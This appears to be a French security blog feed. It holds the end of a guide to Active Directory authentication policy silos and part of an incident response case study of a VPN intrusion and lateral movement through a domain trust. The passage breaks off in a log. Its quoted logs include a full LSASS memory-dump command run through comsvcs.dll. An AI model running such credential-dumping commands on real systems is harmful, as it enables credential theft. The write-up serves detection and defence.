<pre><code class="lang-plaintext">Computer Configuration | Administrative Templates | System | KDC | Key Distribution Center (KDC) support for claims, compound authentication and Kerberos armoring
</code></pre>
<p>Différentes options sont possibles :</p>
<ul>
<li><p><em>Not supported</em></p>
</li>
<li><p><em>Supported</em></p>
</li>
<li><p><em>Always provide claims</em></p>
</li>
<li><p><em>Fail unarmored authentication requests</em></p>
</li>
</ul>
<p>Afin d’utiliser les silos d’authentification, il est nécessaire d’appliquer l’option « <em>Always provide claims</em> ».</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828120958/6086d0ed-9a3b-482f-9b84-de4ae3a6bffb.png" alt class="image--center mx-auto" /></p>
<p><em>Activation du support des revendications, de l’authentification composée et du Kerberos Armoring au niveau des DC</em></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">L’option « <em>Fail unarmored authentication requests</em> » n’est pas recommandée dans un premier temps car l’ensemble des systèmes ne supportant pas ces fonctionnalités ne pourront plus s’authentifier auprès des Contrôleurs de Domaine.</div>
</div>

<p>Un redémarrage n’est pas nécessaire, il faut néanmoins mettre à jour les GPO sur les Contrôleurs de Domaine.</p>
<h3 id="heading-activation-au-niveau-des-clients">Activation au niveau des clients</h3>
<p>Dans un second temps, il est nécessaire d’activer le support du Kerberos Armoring, des revendications et de l’authentification composée pour les clients Kerberos. C’est-à-dire sur l’ensemble des machines faisant parties des silos à minima.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Les DC également, car ils peuvent faire office de clients Kerberos, lors d’une connexion RDP auprès d’eux par exemple</div>
</div>

<p>Cela se fait également via GPO :</p>
<pre><code class="lang-plaintext">Computer Configuration | Administrative Templates | System | Kerberos | Kerberos client support for claims, compound authentication and Kerberos armoring
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828204293/bd9e67fb-601e-4045-ac48-6d87dc783750.png" alt class="image--center mx-auto" /></p>
<p><em>Activation du support des revendications, de l’authentification composée et du Kerberos Armoring au niveau des clients Kerberos</em></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">⚠</div>
<div data-node-type="callout-text">Sur certains clients obsolètes (Windows 7 ou 8), l'activation de ce paramètre peut entraîner des problèmes pour l'authentification. Il faut donc l'activer uniquement sur des clients récents et faire des tests pour des clients obsolètes.</div>
</div>

<p>Là aussi, pas besoin de redémarrer mais il faut attendre le déploiement de la GPO ou le forcer (gpupdate /force sur la machine) et faire une purge des tickets Kerberos (klist purge).</p>
<h2 id="heading-configuration-de-lauthentication-policy">Configuration de l’Authentication Policy</h2>
<p>Pour rappel, le but premier est de limiter la propagation des secrets d’authentification des objets d’un tiers vers les autres. De fait, les objets membres du tiers 0 (T0), et les serveurs critiques, ne doivent pouvoir s’authentifier que sur les objets du tiers 0.</p>
<p>La configuration ci-dessous va donc présenter une méthode pour autoriser les objets du T0 à s’authentifier auprès des machines du T0 uniquement.</p>
<p>Il est en premier lieu nécessaire de créer une <em>Authentication Policy</em> avant de créer un <em>Authentication Policy Silo.</em></p>
<p>La configuration se fait soit via l’Active Directory Administrative center, soit via PowerShell.</p>
<p>La méthode via l’Administrative Center est expliquée ci-dessous.</p>
<p>Dans l’Active Directory Administrative Center, se rendre dans Authentication puis Authentication Policies :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828279047/885f41dc-6ba6-4760-9894-d9011726f0e4.png" alt class="image--center mx-auto" /></p>
<p><em>Accès à l’Authentication Policy dans Active Directory Administrative Center</em></p>
<p>Il faut ensuite créer une nouvelle politique d’authentification.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828295472/c95695dd-8d46-4514-a4e6-1e3630d118d9.png" alt class="image--center mx-auto" /></p>
<p><em>Configuration de l’Authentication Policy - Partie 1</em></p>
<p><strong>La première section (1)</strong> permet de définir un nom, une description et si la politique est en mode audit ou en mode appliquée. Le mode audit est nécessaire lors de la première phase de déploiement afin d’auditer les connexions en échec et y remédier.</p>
<p><strong>La deuxième section (2)</strong> permet de définir les objets couverts par cette politique. Les paramètres du mode d’application et des comptes couverts sont écrasés par la configuration du Silo d’Authentification (voir la section suivante), ils n’ont donc aucun impact.</p>
<p><strong>La troisième section (3)</strong> comporte le ou les Silos utilisant cette politique. Il s’agit d’un backlink et il n’est pas possible de le configurer ici.</p>
<p>Les paramètres détaillés dans les parties suivantes permettent de mettre en place les politiques effectives.</p>
<h3 id="heading-user-sign-on">User Sign On</h3>
<p>Cette section permet de définir les conditions d’authentification pour les utilisateurs du silo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828316567/62e999b7-4113-4e3c-a52c-82df9fb8b5a4.png" alt class="image--center mx-auto" /></p>
<p><em>Configuration de l’Authentication Policy - Partie 2</em></p>
<p>Il est possible de configurer plusieurs paramètres :</p>
<ul>
<li><p><strong>Require rolling NTLM secret for NTLM authentication</strong> <strong>(1)</strong>: Le mot de passe des utilisateurs avec l’attribut “Smart card is required for interactive logon” est renouvelé</p>
</li>
<li><p><strong>Ticket-Granting-Ticket Lifetime</strong> <strong>(2)</strong>: Permet de spécifier la durée de vie du TGT pour les comptes utilisateurs</p>
</li>
<li><p><strong>Allow NTLM network authentication when user is restricted to selected device</strong> <strong>(3)</strong>: Autorise l’utilisation du protocole… NTLM pour s’authentifier sur les machines du silo. Évidemment, ce paramètre ne doit pas être activé.</p>
</li>
<li><p><strong>Conditions</strong> <strong>(4) :</strong></p>
</li>
</ul>
<p>Ce dernier paramètre permet de définir les conditions d’accès à proprement parler.</p>
<p>Actuellement, il est possible d’utiliser deux conditions distinctes :</p>
<ul>
<li><p>L’appartenance (ou non) d’un utilisateur à un ou plusieurs groupes</p>
</li>
<li><p>L’appartenance (ou non) d’un utilisateur à un silo</p>
</li>
</ul>
<p>L’exemple suivant montre la configuration via l’appartenance à un groupe spécifique.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828328142/92fc838f-905e-4c74-a37d-f5903bbe39d9.png" alt class="image--center mx-auto" /></p>
<p><em>Conditions pour l’Authentication Policy - Exemple 1</em></p>
<p>Afin de simplifier la configuration, il est possible de définir que les utilisateurs membres d’un silo pourront s’authentifier sur les machines de ce même silo avec la condition suivante :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828341146/0d790f7d-f2ff-4ef0-ae9b-46f027a8ac05.png" alt class="image--center mx-auto" /></p>
<p><em>Condition pour l’Authentication Policy - Exemple 2</em></p>
<p>Une fois cette configuration effectuée, il faut créer une <em>Authentication Policy Silo</em>.</p>
<h2 id="heading-authentication-policy-silos-1">Authentication Policy Silos</h2>
<p>Comme expliqué préalablement, l’Authentication Policy Silo permet de faire le lien entre les objets du silo et l’Authentication Policy.</p>
<p>La configuration se fait soit via l’Active Directory Administrative center, soit via PowerShell. La méthode via GUI est expliquée ci-dessous.</p>
<p>Dans Active Directory Administrative Center, se rendre dans Authentication puis Authentication Policies Silos :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828353376/d7b45a03-a82e-407e-802f-73f8e9b91f79.png" alt class="image--center mx-auto" /></p>
<p><em>Accès à l’Authentication Policy Silos dans Active Directory Administrative Center</em></p>
<p>Différents paramètres sont à configurer :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828366586/91632649-5404-4991-8c6e-b70520d5b277.png" alt class="image--center mx-auto" /></p>
<p><em>Configuration Authentication Policy Silos</em></p>
<p>On retrouve donc le nom, la description et le mode d’application (audit ou appliquée) <strong>(1)</strong>. Les objets du silo (Utilisateurs et machines) sont également à définir ici <strong>(2)</strong>.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">⚠</div>
<div data-node-type="callout-text"><em>Comme expliqué dans la configuration l’Authentication Policy, les paramètres concernant le mode d’application et les objets du silo ont priorité ici.</em></div>
</div>

<p>La section <strong>Authentication Policy</strong> <strong>(3)</strong> permet de définir une Authentication Policy en fonction du type de compte (User account, MSA account, Computer account). Il est également possible de définir que l’ensemble des objets sont couverts par une seule et unique Authentication Policy. Dans notre cas, cela est suffisant.</p>
<p>Finalement, pour assigner un silo à un objet, il faut se rendre dans l’Active Directory Administrative Center au niveau de l’objet et dans l'onglet Silos, lui attribuer celui-ci :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828395227/eaf3d4b1-95af-4b4a-8a86-066ed0d72fb0.png" alt class="image--center mx-auto" /></p>
<p><em>Assignation d’un silo à un utilisateur</em></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">⚠</div>
<div data-node-type="callout-text"><em>Après avoir ajouté un objet dans le silo, il est nécessaire de redémarrer la machine ou alors de se déconnecter du compte pour que cela prenne effet.</em></div>
</div>

<h1 id="heading-mode-audit">Mode Audit</h1>
<p>Afin de mener correctement le projet de mise en place des Silos d’Authentification, il est fortement recommandé d’activer le mode d’audit dans un premier temps.</p>
<p>Pour rappel, ce mode peut se configurer au niveau de :</p>
<ul>
<li><p>L’authentication Policy</p>
</li>
<li><p>L’authentication Policy Silo</p>
</li>
</ul>
<p>La configuration effectuée au niveau de l’Authentication Policy Silo aura la priorité.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828420265/33b06c22-ff55-4c0d-ba69-77bb6303987f.png" alt class="image--center mx-auto" /></p>
<p><em>Activation du mode Audit</em></p>
<p>Cela va permettre de générer des événements en cas d’erreur d’authentification liée aux silos et donc de corriger la configuration pour éviter les problèmes lors de la mise en production.</p>
<p>Les événements sont stockés sur les DC dans :</p>
<pre><code class="lang-plaintext">Application and Services logs/Microsoft/Windows/Authentication
</code></pre>
<p>Par défaut, les événements sont désactivés :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828444850/19901154-2183-4b06-811d-6d3baa39007b.png" alt class="image--center mx-auto" /></p>
<p><em>Évenements désactivés</em></p>
<p>Pour les activer, il faut faire un <em>clic droit</em> sur le journal puis cliquer sur <strong><em>Enable Logs</em></strong> :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828450412/12eb4d7a-3b3e-45e2-8774-6a8fdf8c239d.png" alt class="image--center mx-auto" /></p>
<p>Il est possible de retrouver les événements suivants :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828465818/34188166-f201-4522-bc13-cf91efd81c79.png" alt class="image--center mx-auto" /></p>
<p><em>Évenements générés avec les Authentication Policy Silos</em></p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Le modèle en Tiers et son implémentation sont des sujets importants lorsqu’un domaine Active Directory est présent au sein du système d’information (SI).</p>
<p>Ce modèle, bien que n’empêchant pas d’exclure tout risque à lui seul, permet de correctement isoler les zones de criticité afin de restreindre les attaquants.</p>
<p>Il est néanmoins nécessaire de corriger les vulnérabilités identifiées sur le SI avant de mettre en oeuvre ce modèle, au risque d’avoir un faux sentiment de sécurité. En effet, la dissémination des secrets d’authentification n’est pas le problème principal si tout le monde peut passer Administrateur du Domaine à cause d’une vulnérabilité l’autorité de certification ADCS.</p>
<p>Les silos d’authentifications permettent d’apporter une granularité dans l’administration et une sécurité qu’il n’était pas possible d’obtenir avec les GPO uniquement. La mise en place de cette solution sur les actifs du Tiers 0, dans un premier temps, peut donc apporter un vrai plus.</p>
<p>Les comptes d’administration sensibles sont donc encadrés et limités au maximum afin d’éviter toute utilisation abusive.</p>
<p>Il est tout de même essentiel de correctement cadrer ce projet afin d’identifier l’ensemble des cas d’usage potentiels et ainsi limiter les problèmes de production. Des tests approfondis en mode audit doivent être menés avant le déploiement et à chaque modification.</p>
<p>Cette solution nécessite une connaissance approfondie du SI.</p>
<p>De plus, les silos d’authentification ajoutent une charge non négligeable à l’administration.</p>
<p>Bien utilisés, les silos d’authentification sont une brique de sécurité importante qui complète le modèle en Tiers et les autres mécanismes de sécurité de l’Active Directory.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">👀</div>
<div data-node-type="callout-text">Login Sécurité sera ravi de vous accompagner dans votre projet de remédiation Active Directory ainsi que dans la mise en place d’un modèle en Tiers robuste (avec les silos d’authentification évidemment). Contactez nous : contact@login-securite.com</div>
</div>]]></content:encoded></item><item><title><![CDATA[De l’intrusion à la latéralisation : quand un lien de trust devient la porte d’entrée vers un second domaine]]></title><description><![CDATA[🚨
Vous êtes confronté à un cyber-incident ? Notre équipe de réponse à incident est disponible 24/7 pour vous aider au 01 85 09 12 35 et par email cert@login-securite.com ou cliquer ici


Résumé
En novembre, un acteur malveillant a exploité des compt...]]></description><link>https://blog.login-securite.com/de-lintrusion-a-la-lateralisation-quand-un-lien-de-trust-devient-la-porte-dentree-vers-un-second-domaine</link><guid isPermaLink="true">https://blog.login-securite.com/de-lintrusion-a-la-lateralisation-quand-un-lien-de-trust-devient-la-porte-dentree-vers-un-second-domaine</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Wed, 17 Sep 2025 06:44:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/0Hjb-YSd3xQ/upload/a6c926939549743fd2877e5d339a5d2b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">🚨</div>
<div data-node-type="callout-text"><strong>Vous êtes confronté à un cyber-incident ? Notre équipe de réponse à incident est disponible 24/7 pour vous aider au </strong><a target="_self" class="link" href="tel:+33185091235"><strong>01 85 09 </strong></a><a target="_self" href="tel:+33185091235"><strong>12 35 et par e</strong></a><strong>mail </strong><a target="_self" href="mailto:cert@login-securite.com"><strong>cert@login-securite.com</strong></a><strong> ou </strong><a target="_self" href="https://www.login-securite.com/cert-reponse-a-incident"><strong>cliquer ici</strong></a></div>
</div>

<h2 id="heading-resumetel33185091235"><a target="_blank" href="tel:+33185091235">Résumé</a></h2>
<p>En novembre, un acteur malveillant a exploité des comptes aux mots de passe faibles pour s’infiltrer via un accès VPN, puis a pris le contrôle d’un premier domaine Active Directory.</p>
<p>Grâce à un lien de trust, il a ensuite étendu sa compromission à un second domaine, illustrant la dangerosité des mouvements latéraux dans un environnement mal protégé.</p>
<p>Cet article retrace étape par étape le parcours de l’attaquant, analyse les indicateurs de compromission (IOCs) et les extraits de logs clés, et démontre comment une simple négligence — un seul compte vulnérable — peut servir de point d’entrée à une attaque aux conséquences dévastatrices pour l’ensemble du système d’information.</p>
<p>Une étude de cas qui rappelle l’importance cruciale de la segmentation, de la surveillance des accès et de l’hygiène des comptes.</p>
<h2 id="heading-definition">Définition</h2>
<p>Lien de trust : Un <strong>lien de trust (ou relation d’approbation) dans Active Directory</strong> est un mécanisme qui permet à deux domaines ou forêts de partager des ressources et d’autoriser l’authentification entre eux.</p>
<p>Concrètement :</p>
<ul>
<li><p>Il établit une <strong>relation de confiance</strong> entre deux environnements Active Directory.</p>
</li>
<li><p>Un utilisateur authentifié dans un domaine peut ainsi accéder à des ressources situées dans un autre, sans devoir créer un compte séparé.</p>
</li>
<li><p>Les trusts peuvent être <strong>unidirectionnels</strong> (un domaine fait confiance à l’autre) ou <strong>bidirectionnels</strong> (les deux se font mutuellement confiance).</p>
</li>
<li><p>Ils peuvent aussi être <strong>transitifs</strong> (la confiance s’étend à d’autres domaines liés) ou <strong>non transitifs</strong> (limitée aux deux domaines concernés).</p>
</li>
</ul>
<p>👉 En résumé, un lien de trust dans Active Directory sert à <strong>établir une interconnexion sécurisée</strong> entre domaines/forêts pour faciliter la collaboration et la gestion centralisée des accès.</p>
<h2 id="heading-apercu-des-activites">Aperçu des activités</h2>
<p>Le 5 novembre, un acteur inconnu a compromis un domaine Active Directory aux États-Unis. L’intrusion a débuté via un accès VPN utilisant des comptes anciens aux mots de passe faibles. Dès lors, l’attaquant a enchaîné des scans réseau et des mouvements latéraux sur l’infrastructure via RDP et SMB. Il a également créé une archive sur un partage de fichiers et tenté d’extraire des comptes locaux depuis la mémoire LSASS et la base SAM.</p>
<p>L’environnement ciblé présentait plusieurs lacunes de sécurité : absence d’EDR sur les machines du domaine, mots de passe faibles inchangés depuis plusieurs années et un équipement VPN vulnérable à la CVE‑2024‑40766.</p>
<p>L’ensemble des éléments observés laisse penser à une attaque opportuniste exploitant des failles de sécurité. Ce résumé introductif prépare la lecture du schéma ci-dessous, qui détaille les TTP de l’attaquant et la chronologie de son intrusion.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756460210790/70bc4b26-4b7a-4522-9418-236634420341.png" alt class="image--center mx-auto" /></p>
<p>Dans le déroulé de l’attaque :</p>
<p>➔ Accès au travers du VPN via un compte valide</p>
<p>➔ L’attaquant a principalement utilisé des commandes système et des outils de scan réseau</p>
<p>➔ L’attaquant s’est latéralisé au travers des services RDP &amp; SMB sur le parc</p>
<p>➔ Nous observons la création d’une archive lors de l’attaque sur un partage de fichier</p>
<p>➔ Le domaine ne disposait pas d’EDR au moment de l’incident, l’attaquant a donc ciblé la détection Windows Defender AV au travers de l’ajout d’une exclusion</p>
<p>➔ L’attaquant a obtenu des comptes via un accès à la mémoire du processus LSASS et a tenté d’obtenir des comptes locaux sur le filer via un dump de la SAM</p>
<p>➔ Tentative de latéralisation vers un second domaine en utilisant un lien de trust</p>
<h2 id="heading-infrastructure">Infrastructure</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Serveur</td><td>Infrastructure</td></tr>
</thead>
<tbody>
<tr>
<td>DTC-DC01 / DTC-FS / DTC-REMOTE / DTC-WKS-VEENA</td><td>REDACTED1 - Entreprise USA</td></tr>
<tr>
<td>SRVDC10 / SRVDC11 / SRVFILES / SRVVCenter</td><td>REDACTED2 - Entreprise FR</td></tr>
</tbody>
</table>
</div><h2 id="heading-synthese-des-elements-cles">Synthèse des éléments clés</h2>
<p>Les heures sont exprimées en UTC.</p>
<p><strong><em>18 octobre 2024 (Suspicion) :</em></strong></p>
<ul>
<li><p>18h58 : Connexion SMB avec le compte <strong>REDACTED1</strong>\Administrator depuis le VPN <strong>REDACTED1</strong></p>
</li>
<li><p>19h02 : Tentative d’exploitation de ZeroLogon sur DTC-DC01</p>
</li>
</ul>
<p><strong><em>04 novembre 2024 :</em></strong></p>
<ul>
<li>20h41 : Accès SMB suspect sur DTC-D01 depuis le VPN avec le compte 3points</li>
</ul>
<p><strong><em>05 novembre 2024 :</em></strong></p>
<ul>
<li><p>10h46 : Tentatives de connexion sur la console vCenter avec les comptes linuxprinter et vmware depuis le VPN <strong>REDACTED1</strong></p>
</li>
<li><p>11h22 : Connexion de l’utilisateur vmware sur DTC-DC01 depuis la machine « kali »</p>
</li>
<li><p>11h33 : Reconnaissance Active Directory depuis le VPN <strong>REDACTED1</strong></p>
</li>
</ul>
<p><strong><em>06 novembre 2024 :</em></strong></p>
<ul>
<li><p>05h56 : Connexion réseau du compte <strong>REDACTED1</strong>\Administrator depuis le VPN <strong>REDACTED1</strong> sur SrvDC10</p>
</li>
<li><p>06h05 : Password spraying sur 588 utilisateurs inexistants sur le domaine ad.<strong>REDACTED2</strong>.fr depuis le VPN <strong>REDACTED1</strong></p>
</li>
<li><p>06h09 : Mouvement latéral sur DTC-FS avec l’utilisateur vmware</p>
</li>
<li><p>06h14 : Mouvement latéral sur DTC-DC01 avec l’utilisateur vmware</p>
</li>
<li><p>06h19 : Création d’une exclusion sur le disque C de DTC-DC01 dans Windows Defender</p>
</li>
<li><p>06h24 : Détection d’un password spraying depuis le VPN <strong>REDACTED1</strong> Sur l’AD <strong>REDACTED2</strong></p>
</li>
<li><p>06h27 : Dump de la mémoire LSASS sur DTC-DC01</p>
</li>
<li><p>06h28 : Exécution d’Advanced IP Scanner sur DTC-FS</p>
</li>
<li><p>06h35 : Exécution de Netscan sur DTC-DC01</p>
</li>
<li><p>06h37 : Exécution de Netscan sur DTC-FS</p>
</li>
<li><p>06h46 : Bruteforce sur <strong>REDACTED2</strong>\Administrateur sur SrvDC10 depuis le VPN <strong>REDACTED1</strong></p>
</li>
<li><p>06h53 : Password spraying sur 248 utilisateurs sur le domaine ad.<strong>REDACTED2</strong>.fr depuis le VPN <strong>REDACTED1</strong></p>
</li>
<li><p>06h54 : Connexion avec les comptes <strong>REDACTED1</strong>\vmware, <strong>REDACTED2</strong>\svc_varonis et <strong>REDACTED1</strong>\Administrator dans le domaine ad.<strong>REDACTED2</strong>.fr</p>
</li>
<li><p>07h13 : Bruteforce sur <strong>REDACTED2</strong>\Administrateur sur SrvDC10 depuis le VPN <strong>REDACTED1</strong></p>
</li>
<li><p>07h35 : Connexion de svc_varonis sur srvfiles</p>
</li>
<li><p>07h49 : Dump SAM sur srvFiles avec l’utilisateur svc_varonis</p>
</li>
<li><p>07h49 : Détection SentinelOne de la tentative de latéralisation avec le compte svc_varonis</p>
</li>
<li><p>09h10 : Début de la réponse à incident</p>
</li>
<li><p>09h20 : Coupure du lien de trust entre l’AD <strong>REDACTED2</strong> et <strong>REDACTED1</strong></p>
</li>
</ul>
<h2 id="heading-techniques-employees">Techniques employées</h2>
<p>Les méthodes et le niveau de l’attaque ne présentent pas savoir-faire particulier de la part de l’acteur malveillant, non plus l’utilisation d’un mécanisme de persistance ou de Command And Control.</p>
<h3 id="heading-acces-initial">Accès initial</h3>
<p>Lors de l’attaque, les connexions de l’attaquant sur l’infrastructure 1 &amp; 2 ont eu lieu depuis le VPN. L’activité relevée sur le domaine Active Directory <strong>REDACTED2</strong> provient du VPN, à l’adresse IP 10.0.11.3 &amp; 10.0.11.4. Cependant, la durée de rétention des informations dans l’appliance SonicWall et sur le contrôleur de domaine DC10 n’ont pas permis d’identifier le compte utilisé par l’acteur malveillant pour réaliser l’accès initial.</p>
<pre><code class="lang-plaintext">&lt;13&gt;Nov 05 11:12:35 SRVDC10 AgentDevice=WindowsLog AgentLogFile=Security 
PluginVersion=7.3.1.28 Source=Microsoft-Windows-Security-Auditing
Computer=SRVDC10.ad.REDACTED2.fr OriginatingComputer=192.9.100.14User=
Domain= EventID=4625 EventIDCode=4625 EventType=16 EventCategory=12544
RecordNumber=8480307780 TimeGenerated=1730801553 TimeWritten=1730801553
Level=Log Always Keywords=Audit Failure Task=SE_ADT_LOGON_LOGON
Opcode=Info Message=An account failed to log on. Subject: Security ID: 
NULL SID Account Name: - Account Domain: - Logon ID: 0x0 Logon Type: 3
</code></pre>
<p>Echec de connexion depuis le VPN sur le SRVDC10</p>
<pre><code class="lang-plaintext">&lt;13&gt;Nov 06 08:38:08 SRVDC10 AgentDevice=WindowsLog AgentLogFile=Security
PluginVersion=7.3.1.28 Source=Microsoft-Windows-Security-Auditing
Computer=SrvDC10.ad.REDACTED2.fr OriginatingComputer=192.9.100.14User=
Domain= EventID=5140 EventIDCode=5140 EventType=8 EventCategory=12808
RecordNumber=8558617054 TimeGenerated=1730878687 TimeWritten=1730878687
Level=Log Always Keywords=Audit Success Task=SE_ADT_OBJECTACCESS_SHARE
Opcode=Info Message=A network share object was accessed. Subject: 
Security ID: REDACTED2\svc_varonis Account Name: svc_varonis Account Domain: 
REDACTED2 Logon ID: 0x9E86A135 Network Information: Object Type: File Source 
Address: 10.0.11.4 Source Port: 58321 Share Information: Share Name: 
\\*\SYSVOL Share Path: \??\C:\Windows\SYSVOL_DFSR\sysvol Access Request 
Information: Access Mask: 0x1 Accesses: ReadData (or ListDirectory)
</code></pre>
<p>Enumeration SYSVOL depuis le VPN</p>
<p>Les analyses permettent de confirmer que le VPN a été utilisé par l’attaquant.</p>
<h3 id="heading-execution-amp-persistence">Exécution &amp; Persistence</h3>
<p>Au 5 novembre, l’attaquant disposait déjà de 2 comptes administrateur du domaine (vmware &amp; linuxprinter).</p>
<p>Les traces d’exécutions relevées sur le serveur DTC-DC01 sont lié à des actions de reconnaissance et d’obtention d’identifiants. Dans les journaux système Windows, l’identifiant 7045 montre les créations de service.</p>
<p>Création du service Fvulj0Ph - Dump LSASS :</p>
<pre><code class="lang-plaintext">&lt;Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"&gt;
 &lt;System&gt;
 &lt;Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e26931d2012f4}" EventSourceName="Service Control Manager"/&gt;
 &lt;EventID Qualifiers="16384"&gt;7045&lt;/EventID&gt;
 &lt;Version&gt;0&lt;/Version&gt;
 &lt;Level&gt;4&lt;/Level&gt;
&lt;Task&gt;0&lt;/Task&gt;
 &lt;Opcode&gt;0&lt;/Opcode&gt;
 &lt;Keywords&gt;0x8080000000000000&lt;/Keywords&gt;
 &lt;TimeCreated SystemTime="2024-11-06T06:27:18.568368100Z"/&gt;
 &lt;EventRecordID&gt;2124578&lt;/EventRecordID&gt;
 &lt;Correlation/&gt;
 &lt;Execution ProcessID="996" ThreadID="2928"/&gt;
 &lt;Channel&gt;System&lt;/Channel&gt;
 &lt;Computer&gt;DTC-DC01.internal.REDACTED1.com&lt;/Computer&gt;
 &lt;Security UserID="S-1-5-21-3424303706-2858332368-4041963730-1202"/&gt;
 &lt;/System&gt;
 &lt;EventData&gt;
 &lt;Data Name="ServiceName"&gt;Fvulj0Ph&lt;/Data&gt;
 &lt;Data Name="ImagePath"&gt;%COMSPEC% /Q /c cMD.ExE /Q /c for /f "tokens=1,2 delims= 
" ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe 
C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\sfptVhaJ.sql 
full&lt;/Data&gt;
 &lt;Data Name="ServiceType"&gt;user mode service&lt;/Data&gt;
 &lt;Data Name="StartType"&gt;demand start&lt;/Data&gt;
 &lt;Data Name="AccountName"&gt;LocalSystem&lt;/Data&gt;
 &lt;/EventData&gt;
&lt;/Event&gt;
</code></pre>
<p>Le service créé ci-dessus le 06 novembre à 06h27 permet à l’acteur de réaliser un dump de la mémoire du processus LSASS sur DTC-DC01.</p>
<p>On retrouve en parallèle le dépôt par l’attaquant de deux outils de scan réseau et leurs exécutions :</p>
<ul>
<li>Netscan :</li>
</ul>
<pre><code class="lang-plaintext">    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{C
    EBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count] UserAssist entry: 14 Value name: 
    C:\ProgramData\netscan - Copy\netscan\netscan.exe Count: 2 Application focus count: 
    13 Application focus duration: 835484
</code></pre>
<ul>
<li>Advanced IP Scanner sur DTC-FS :</li>
</ul>
<pre><code class="lang-plaintext">[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{
CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count] UserAssist entry: 10 Value name: 
%PROGRAMFILES% (%SYSTEMDRIVE%\Program Files)\Advanced IP 
Scanner\advanced_ip_scanner.exe Count: 1 Application focus count: 0 Application 
focus duration: 120027
</code></pre>
<p>Nous retrouvons l’utilisation des utilitaires Windows comme Powershell, invite de commande, notepad &amp; l’outil de capture d’écran. L’acteur disposant d’un accès VPN semble avoir utilisé la distribution Kali Linux, comme le montrent les authentifications relevées par Microsoft Defender for Identity.</p>
<pre><code class="lang-plaintext">{"Count":"1","Category":"Initial Access","AttackTechniques":"Valid Accounts 
(T1078), Domain Accounts (T1078.002)","SourceAccountId":"2c1240c5-bd71-4269-9e2bc89692798c68","SourceAccountSid":"S-1-5-21-3424303706-2858332368-4041963730-
1202","SourceComputerOperatingSystemType":"unknown","DestinationComputerObjectGuid"
:"4ee9de90-762e-4e0f-8bb3-
e299fa1b7030","DestinationComputerOperatingSystem":"windows server 2019 
datacenter","DestinationComputerOperatingSystemVersion":"10.0 
(17763)","DestinationComputerOperatingSystemType":"windows","SourceComputerId":"com
puter 
kali","ACTOR.ACCOUNT":"VMWare","ACTOR.ENTITY_USER":"VMWare","FROM.DEVICE":"kali","T
O.DEVICE":"DTC-DC01","ACTOR.DEVICE":""}
</code></pre>
<p>Le 5 novembre, l’attaquant a tenté un accès sur l’infrastructure de virtualisation de <strong>REDACTED1</strong>, via le serveur SRVVCENTER :</p>
<pre><code class="lang-plaintext">{
 "EventTypeId": "com.vmware.sso.Logout",
 "Severity": "info",
 "Message": "",
 "Arguments": [
 {
 "Key": "userName",
 "Value": "vmware@INTERNAL.REDACTED1.COM"
 },
 {
 "Key": "description",
 "Value": "User vmware@INTERNAL.REDACTED1.COM@10.0.11.3 
logged out"
 },
 {
 "Key": "userIp",
 "Value": "10.0.11.3"
 },
 {
 "Key": "timestamp",
 "Value": "11/05/2024 10:41:56 GMT"
 },
 {
 "Key": "_sourcehost_",
 "Value": "SrvVcenter.ad.REDACTED2.fr"
 }
 ],
[…]
 "Key": 17951603,
 "ChainId": 17951603,
 "CreatedTime": "\/Date(1730803587564)\/",
 "UserName": "vmware@INTERNAL.REDACTED1.COM",
[…]
 "FullFormattedMessage": "Logout event by 
vmware@INTERNAL.REDACTED1.COM from 10.0.11.3 at 11/05/2024 10:41:56 GMT in 
SSO",
 "ChangeTag": null
 }
</code></pre>
<p>L’authentification des comptes est réussie, mais linuxprinter &amp; vmware ne disposaient pas des droits sur la ressource.</p>
<h3 id="heading-lateral-movement-amp-collection">Lateral Movement &amp; Collection</h3>
<p>Deux phases sont à noter lors de cet incident :</p>
<p>➔ Pivot depuis le VPN sur l’infrastructure REDACTED1</p>
<p>➔ Tentative de latéralisation vers l’infrastructure REDACTED2</p>
<p>Depuis le VPN, les analystes relèvent l’utilisation du protocole RDP (Remote Desktop Procol) sur DTC-DC01 &amp; DTC-FS :</p>
<pre><code class="lang-plaintext">&lt;Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"&gt;
 &lt;System&gt;
 &lt;Provider Name="Microsoft-Windows-TerminalServices-LocalSessionManager" 
